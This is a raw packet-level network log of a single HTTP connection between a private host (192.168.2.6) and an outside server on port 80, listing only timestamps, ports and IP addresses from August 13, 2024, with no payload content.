Aug 13, 2024 10:21:13.792927027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792938948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.792938948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794171095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794188976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794203043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794209957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794219017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794234991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794245005 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794245005 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794250965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794266939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794276953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794281960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794300079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794303894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794313908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794323921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794328928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794342995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794349909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794358015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794368029 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794368029 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794373989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794384003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794390917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.794411898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.794411898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.796360016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.798592091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.798671961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.798687935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.798697948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.798736095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.798736095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.798808098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.798825026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.798937082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.798953056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.798966885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.798968077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.798990965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799019098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799020052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799196959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799212933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799227953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799228907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799242973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799259901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799323082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799336910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799351931 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799354076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799405098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799405098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799494982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799624920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799639940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799650908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799665928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799690008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799691916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799706936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799715996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799721956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799736977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799747944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799747944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799752951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799760103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.799771070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.799776077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.800174952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800203085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.800322056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800337076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800353050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800367117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800383091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800383091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.800383091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.800398111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800405025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.800415039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800430059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800441980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.800445080 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800460100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800460100 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.800474882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800492048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.800498009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800498009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.800513029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.800529957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801150084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801166058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801181078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801196098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801201105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801208019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801208019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801211119 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801227093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801238060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801249981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801265001 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801275969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801276922 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801280975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801295996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801310062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801310062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801310062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801325083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801335096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801340103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801353931 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801353931 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801357031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801381111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801398039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801398039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.801903009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801919937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801934958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.801995993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802052975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802052975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802145958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802161932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802175999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802191973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802202940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802202940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802215099 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802443981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802459955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802474022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802475929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802489042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802504063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802512884 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802520037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802531958 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802536011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802551031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802556992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802573919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.802583933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802583933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802602053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.802917004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803107977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803123951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803138971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.803143978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803158998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803174973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803189039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.803189039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.803189993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803205013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803215981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.803220034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803235054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803246975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.803250074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803262949 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.803265095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803277969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.803282022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.803309917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.803309917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.803668976 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.879868984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.879913092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.879929066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880358934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880376101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880389929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880393982 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.880405903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880424976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880435944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.880435944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.880506039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.880687952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880705118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880719900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880734921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880750895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880765915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.880765915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.880767107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880781889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880798101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.880809069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.880822897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.881165981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.881180048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.881195068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.881197929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.881210089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.881225109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.881237030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.881239891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.881254911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.881270885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.881278038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.881278038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.881299019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.881799936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.881814957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.881829023 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.881830931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.881889105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.881889105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.888417006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.888453007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.888472080 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.888498068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.888515949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.888552904 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.888552904 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.888685942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.888720036 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.888737917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.888756037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.888772964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.888809919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.888809919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.888843060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.888869047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.888946056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889189959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889204979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889218092 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.889219046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889235973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889250040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889264107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.889264107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.889265060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889283895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889295101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.889298916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889308929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.889314890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889329910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889341116 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.889341116 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.889343977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889360905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889374018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.889374018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.889375925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889383078 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.889390945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.889400959 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.889420033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890717030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890746117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890748978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890762091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890777111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890790939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890803099 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890808105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890815973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890824080 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890834093 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890840054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890851974 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890855074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890870094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890872002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890882015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890883923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890898943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890912056 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890913963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890922070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890929937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890944958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.890959978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890959978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890990019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.890990019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891062975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891078949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891093016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891104937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891108036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891124964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891144037 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891148090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891160965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891175985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891177893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891177893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891190052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891205072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891211987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891211987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891211987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891221046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891233921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891236067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891252995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891277075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891882896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891897917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891911983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891916037 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891927958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891942978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891942978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891951084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891957998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891972065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891984940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891984940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.891987085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.891993999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892002106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892014027 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892015934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892023087 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892031908 CEST	80	49711	193.142.147.59	192.168.2.6
